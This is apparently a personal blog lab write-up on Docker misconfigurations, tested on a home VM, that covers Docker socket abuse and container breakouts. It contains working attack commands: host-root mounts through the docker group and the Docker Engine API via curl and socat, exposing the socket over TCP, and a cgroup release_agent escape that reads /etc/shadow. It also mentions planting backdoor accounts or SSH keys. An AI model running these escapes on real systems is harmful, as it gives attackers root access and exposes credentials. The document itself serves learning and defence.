The Lab: Docker

2021/06/11

Tags: docker

A deep dive into some common Docker misconfigurations, exploitations, etc. for learning and reference purposes, using a Ubuntu Server VM called “lab”.

The Docker socket

As stated on the Docker post-installation instructions:

The Docker daemon always runs as the root user. If you don’t want to preface the docker command with sudo, create a Unix group called docker and add users to it. (…) The docker group grants privileges equivalent to the root user.

The Docker daemon attack surface continues:

Only trusted users should be allowed to control your Docker daemon. (…) Docker allows you to share a directory between the Docker host and a guest container; and it allows you to do so without limiting the access rights of the container. This means that you can start a container where the /host directory is the / directory on your host; and the container can alter your host filesystem without any restriction.

Ok, but what does that mean? It means that lab (now that they are in the docker group) can mount the root filesystem of the host machine to an instance’s volume, effectively giving an intruder full access to the host machine.

"-it" -> to run interactive with tty
"--rm" -> to remove the container when it exits
"-v /:/mnt" -> mount a volume (in this case, mount / on the host to /mnt on the container)
"alpine" -> the image
"chroot /mnt bash" -> to run bash in "jail" (/mtn appears to Bash process as /)

With access to (effectively) root on the host machine, an intruder can leave backdoors to come back through later, for instance, creating another user on the machine with root privileges, or creating another set of SSH keys for the root user (or even just making a copy of the existing SSH keys).

If you’re in the docker group, you have access to the Docker socket, which is why the “mount root” trick worked.

The Docker socket is (usually) found under /var/run/docker.sock and can only be written to by root and users in the docker group.

The Docker client “talks” to the Docker daemon, which does the heavy lifting of building, running, and distributing your Docker containers. The Docker client and daemon can run on the same system, or you can connect a Docker client to a remote Docker daemon.

If you’re in the docker group, you can achieve the same “mount root” trick, this time explicitly connecting to the docker socket:

"-H" -> Daemon socket to connect to

If the intruder is on the host, has access to a user in the docker group, but the Docker binary isn’t installed on the machine, can they still perform this “mount root” trick? Yes, there’s an API. The documentation explains:

Docker provides an API for interacting with the Docker daemon (called the Docker Engine API), as well as SDKs for Go and Python. The SDKs allow you to build and scale Docker apps and solutions quickly and easily. If Go or Python don’t work for you, you can use the Docker Engine API directly.

Using curl, make a request to the Docker socket, to list the images available (formatting with jq):

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json | jq

Next, make a request to create a container using an image ID from the previous request, that mounts the host’s root directory (taking note of the container ID in the response), and a second request to start the container.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"sha256:IMAGE_ID_GOES_HERE","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/CONTAINER_ID_GOES_HERE/start

You should then be able to connect to the container, using socat to spawn a shell:

$ socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/CONTAINER_ID_GOES_HERE/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1[Enter ⤶]
Host:[Enter ⤶]
Connection: Upgrade[Enter ⤶]
Upgrade: tcp[Enter ⤶]
[Enter ⤶]

With this attack, the host’s root directory was mounted under /host_root on the container.

Access to the Docker socket via TCP

Presumably, this API is only internally accessible, right? You have to be on the host, because you have to point to the socket, and the socket is a Unix socket.

Well, I learned that you can expose Unix sockets over TCP using socat:

socat -d -d TCP-LISTEN:4000,fork UNIX-CONNECT:/var/run/docker.sock

An nmap scan from my machine shows the exposed port on the VM:

Listing the Docker images via the exposed port:

And then performing the same attack, this time over TCP:

curl -XPOST -H "Content-Type: application/json" -d '{"Image":"sha256:IMAGE_ID_GOES_HERE","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://192.168.1.226:4000/containers/create

curl -XPOST http://192.168.1.226:4000/containers/CONTAINER_ID_GOES_HERE/start

socat - TCP4:192.168.1.226:4000
POST /containers/CONTAINER_ID_GOES_HERE/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1[Enter ⤶]
Host:[Enter ⤶]
Connection: Upgrade[Enter ⤶]
Upgrade: tcp[Enter ⤶]
[Enter ⤶]

But that’s just a fun hack to expose the Docker socket via TCP. There’s a “proper way” to configure Docker to allow socket access via TCP, if you so wished:

# override.conf
# not exposed on the local network
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://127.0.0.1:2375

I had to create /etc/systemd/system/docker.service.d/override.conf because it didn’t exist the first time I followed these steps.

With the above configuration port 2375 isn’t accessible on the local network unless you manually forward the port. The following configuration will allow remote connections from the local network:

# override.conf
# exposed on the local network
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375

Before and after configuration change:

If you wanted to play with fire, you could configure your router to allow connections to port 2375 from the internet.

How many Docker daemons are publically accessible? I had a look on shodan.io and, at the time of writing, there’s a handful:

Some of the hosts exposed a fair amount of information, such as what containers were up and running on the hosts. This one was a host in China that was pulling a script from a host in Ukraine and running it:

nmap has a collection of Docker scripts that you can run as part of a scan:

nmap -p 2375 --script "docker-*" 127.0.0.1

Access to the Docker socket via SSH

It’s possible to forward a Unix Domain socket with OpenSSH:

ssh -L /home/$USER/docker.sock:/var/run/docker.sock lab@192.168.1.226

docker.sock accessible in the home directory on my machine, listing images from the lab using the API:

You need to delete the socket once you’re done with it otherwise you will receive an “Address already in use” error the next time you forward:

There is a “proper” way to access a Docker socket via SSH documented by Docker.

Docker containers, and breaking out of them

A container is a runnable instance of an image. You can create, start, stop, move, or delete a container using the Docker API or CLI. You can connect a container to one or more networks, attach storage to it, or even create a new image based on its current state. (…) Docker uses a technology called namespaces to provide the isolated workspace called the container. When you run a container, Docker creates a set of namespaces for that container. These namespaces provide a layer of isolation. Each aspect of a container runs in a separate namespace and its access is limited to that namespace.

Detailed information on namespaces can be found here.

A mounted Docker socket

The Docker socket can be mounted inside the container. Apparently, this usually happens when containers need to connect back to the docker daemon to perform actions. Hey, I didn’t say it was a good idea, it’s just possible.

You can look for the Docker socket with find:

find / -name docker.sock 2>/dev/null

Once you’ve found it, go nuts (break out).

The “privileged” flag

The –privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-cases, like running Docker within Docker.

Linux capabilities available on a privileged container:

Some flags to note are:

In contrast, here are the capabilities on a non-privileged container:

An example breakout when the cap_sys_admin capability is available in a tweet by Felix Wilhelm.

Linux cgroups are one of the mechanisms by which Docker isolates containers. The PoC abuses the functionality of the notify_on_release feature in cgroups v1 to run the exploit as a fully privileged root user. When the last task in a cgroup leaves (by exiting or attaching to another cgroup), a command supplied in the release_agent file is executed. The intended use for this is to help prune abandoned cgroups. This command, when invoked, is run as a fully privileged root on the host.

# Mount RDMA cgroup controller and create a child group
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xxx
# Enable cgroup notifications on release of the "xxx" cgroup
echo 1 > /tmp/cgrp/xxx/notify_on_release
# Find path of mount for container
# e.g. /var/lib/docker/overlay2/5e7d01ea...4d2ec6332146d/diff
# https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Set release_agent to $host_path/cmd
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Create script to execute on the host
echo "#!/bin/sh" > /cmd
# Write payload to cmd file, can be whatever you want, e.g. reverse shell
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
# Spawn process that immediately ends inside the "xxx" cgroup
sh -c "echo \$\$ > /tmp/cgrp/xxx/cgroup.procs"
# Read script output
cat /output

In the above exploit, OverlaysFS was the selected storage driver:

# ran on the container
echo $host_path
/var/lib/docker/overlay2/5e7d01ea...4d2ec6332146d/diff

The official Docker documentation has information on storage drivers and container layers:

By default all files created inside a container are stored on a writable container layer. (…) Storage drivers allow you to create data in the writable layer of your container. The files won’t be persisted after the container is deleted, and both read and write speeds are lower than native file system performance.

For example, touch helloworld creates a file named “helloworld” on the container, which is written to the writable container layer. Bind mounts and volumes can be used to store files on the host machine.

Container escape exploit scripts for different capabilities can be found here.

Automated container scanning

Docker images

Automated image scanning

Docker registry

A registry is an instance of the registry image running within Docker.

To start the registry container:

docker run -d -p 5000:5000 --restart=always --name registry registry:2

Docker registry on the lab machine is now visible to other machines on the network.

You can interact with the registry directly using the HTTP API.

The above registry has no repositories. Images are stored in collections, known as a “repository”. Let’s pull Ubuntu 16.04, tag it, and push it to the local repository.

When the first part of the tag is a hostname and port, Docker interprets this as the location of a registry, when pushing.

“my-ubuntu” can be seen in the list of repositories from another machine on the network.

Listing tags for a specific repository:

Useful and interesting (raises eyebrows, winks) data can be found within an image’s manifest.

A single manifest is information about an image, such as layers, size, and digest. The docker manifest command also gives users additional information such as the os and architecture an image was built for.

For example:

curl 192.168.1.226:5000/v2/my-ubuntu/manifests/latest -s | jq

Pushing malicious images

Docker network

Official Docker overview - Straight from the whale’s mouth.

Docker Security paper - Short introduction to container security

Docker Rootless - Running the Docker daemon as a non-root user.

Securing your Docker - A lot of useful information about securing your Docker install, your images, and your containers.

Docker container networking - Useful if you have limited networking knowledge, like me!

>> Home